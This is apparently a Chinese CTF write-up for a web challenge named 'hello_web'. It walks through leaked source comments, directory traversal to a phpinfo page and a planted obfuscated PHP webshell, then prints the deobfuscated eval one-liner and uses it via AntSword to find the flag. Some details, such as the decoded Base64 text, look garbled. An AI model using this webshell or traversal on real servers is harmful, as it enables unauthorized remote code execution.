hello_web

这是一道经典的ssrf题目,因为题目比较简单,很多队伍都解出来了,多以这道题最后只有50分

一、什么是SSRF?

SSRF(全称为*Server-Side Request Forgery,服务器端请求伪造)是一种常见的安全漏洞,属于WEB安全范畴。 攻击者通过利用SSRF漏洞,可以让服务器在*未经授权*的情况下向其他内部或外部资源发起请求,从而达到攻击的目的。


SSRF的原理

SSRF漏洞的产生主要是因为服务器端程序在处理用户提供的URL或请求参数时,没有对输入进行严格验证,直接将这些数据作为请求目标,发起HTTP/HTTPS请求或其他协议的请求。

攻击者通过精心构造恶意的URL或输入,利用服务器发起请求,进而实现访问内部网络或受保护的资源。


二、本题WriteUp

题目下发后,打开地址只有如下的显示
初始题目展示

(一)好奇宝宝的探索

只有一句话和一段Base64编码字符串,其他就没有什么了~

1
SSd2ZSBsZXQgeW91IGInbm9yZSBOaGlzIHBhcmFncmFwaC4=

本着好奇的心,虽然也知道那是不可能的(这段Base64编码字符串就是Flag)

果然不出所料,CTF的Flag不会那么容易给你的,解码之后的内容就是对中文显示的翻译。

1
I've let you b'nore Nhis paragraph.

(二)查看源码,发现马脚

继续找吧,既然页面没有任何破绽,看看页面的源码,果然有问题!

  1. 源码注释内容泄露的两个文件的路径(还是先探索一番)分别是../hackme.php和../tips.php
    查看页面源码

  2. 查看上一级目录的hackme.php
    ../hackme.php

  3. 在看看上一级目录的tips.php
    ../tips.php

哈哈~,狗屎,就不会这么简单的,不过还没打击到我们好奇宝宝的信息

(三)峰回路转,眼前答案

其实他泄露的文件路径就给了我们一点点提示,既然要返回上一级目录,那么我们不妨试试目录穿越

  • 这个要一级一级来,万一我们一下子穿越了两级,由于老天不给我们运气,错过了Flag就要哭死了,呜呜呜~~~
  1. 先试试一下tips.php这个文件,穿了一级就泄露出敏感信息 Phpinfo
    tips.php泄露Phpinfo

  2. 再试试hackme.php这个文件,既然能叫hackme,说明他肯定有大问题,同样穿了一级就爆出来东西是一个马
    hackme.php是一个马

  3. 这个马是经过处理的,我们对他进行反混,得到马的密码
    马的反混处理的到密码

  • 得到马的密码内容
    1
    ?><?php @eval($POST['cmd_66.99']);?>
  1. 很明显,注入这个马的文件为cmd_66.99,那么我们可以直接用蚁剑通过disable_functions来连接到这个马,获取webshell
    获取webshell

  2. 进入shell命令行读取flag
    在根目录下,用通配符*查找以flag开头的所有文件

    1
    find / -name flag*

获取flag